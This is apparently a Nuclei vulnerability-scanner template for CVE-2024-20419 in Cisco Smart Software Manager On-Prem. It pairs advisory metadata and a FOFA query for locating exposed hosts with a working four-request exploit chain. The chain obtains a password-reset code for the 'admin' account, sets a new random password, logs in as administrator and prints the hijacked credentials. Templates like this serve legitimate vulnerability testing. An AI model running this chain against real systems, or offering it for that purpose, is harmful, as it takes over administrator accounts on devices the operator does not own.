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id: CVE-2024-20419 | ||
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info: | ||
name: Cisco SSM On-Prem <= 8-202206 - Password Reset Account Takeover | ||
author: iamnoooob,rootxharsh,pdresearch | ||
severity: critical | ||
description: | | ||
A vulnerability in the authentication system of Cisco Smart Software Manager On-Prem (SSM On-Prem) could allow an unauthenticated, remote attacker to change the password of any user, including administrative users. This vulnerability is due to improper implementation of the password-change process. | ||
impact: | | ||
An attacker could exploit this vulnerability by sending crafted HTTP requests to an affected device. A successful exploit could allow an attacker to access the web UI or API with the privileges of the compromised user. | ||
reference: | ||
- https://www.0xpolar.com/blog/CVE-2024-20419 | ||
- https://nvd.nist.gov/vuln/detail/CVE-2024-20419 | ||
- https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cssm-auth-sLw3uhUy | ||
- https://www.secpod.com/blog/critical-flaw-in-ciscos-secure-email-gateways-allows-attackers-to-control-the-device-completely/ | ||
- https://github.com/fkie-cad/nvd-json-data-feeds | ||
classification: | ||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H | ||
cvss-score: 10 | ||
cve-id: CVE-2024-20419 | ||
cwe-id: CWE-620 | ||
epss-score: 0.00043 | ||
epss-percentile: 0.09568 | ||
metadata: | ||
fofa-query: title="On-Prem License Workspace" | ||
verified: true | ||
max-request: 4 | ||
tags: cve,cve2024,cisco,on-prem,ssm,intrusive,account-takeover | ||
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flow: http(1) && http(2) && http(3) && http(4) | ||
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variables: | ||
username: "admin" | ||
string1: "{{to_upper(rand_text_alphanumeric(7))}}" | ||
string2: "{{to_lower(rand_text_alphanumeric(7))}}" | ||
password: "{{string1}}{{string2}}!" | ||
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http: | ||
- raw: | ||
- | | ||
GET /backend/settings/oauth_adfs?hostname=polar HTTP/1.1 | ||
Host: {{Hostname}} | ||
matchers: | ||
- type: word | ||
words: | ||
- 'enabled' | ||
- 'redirect' | ||
condition: and | ||
internal: true | ||
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- raw: | ||
- | | ||
POST /backend/reset_password/generate_code HTTP/1.1 | ||
Host: {{Hostname}} | ||
Content-Type: application/json | ||
X-Xsrf-Token: {{urldecode('{{http_1_xsrf-token}}')}} | ||
{"uid": "admin"} | ||
matchers: | ||
- type: word | ||
words: | ||
- 'uid' | ||
- 'auth_token' | ||
condition: and | ||
internal: true | ||
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extractors: | ||
- type: json | ||
part: body | ||
name: auth_token | ||
json: | ||
- ".auth_token" | ||
internal: true | ||
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- raw: | ||
- | | ||
POST /backend/reset_password HTTP/1.1 | ||
Host: {{Hostname}} | ||
Accept: application/json | ||
Content-Type: application/json | ||
X-Xsrf-Token: {{urldecode('{{http_1_xsrf-token}}')}} | ||
{"uid": "admin","auth_token":"{{auth_token}}", "password":"{{password}}","password_confirmation":"{{password}}","common_name":""} | ||
matchers: | ||
- type: word | ||
words: | ||
- '"status":"OK"' | ||
condition: and | ||
internal: true | ||
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- raw: | ||
- | | ||
POST /backend/auth/identity/callback HTTP/1.1 | ||
Host: {{Hostname}} | ||
Accept: application/json | ||
X-Xsrf-Token: {{urldecode('{{http_1_xsrf-token}}')}} | ||
Content-Type: application/json | ||
{"username":"{{username}}","password":"{{password}}"} | ||
matchers: | ||
- type: word | ||
part: body | ||
words: | ||
- 'session_key' | ||
- 'role' | ||
condition: and | ||
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extractors: | ||
- type: dsl | ||
dsl: | ||
- '"USER: "+ username' | ||
- '"PASS: "+ password' |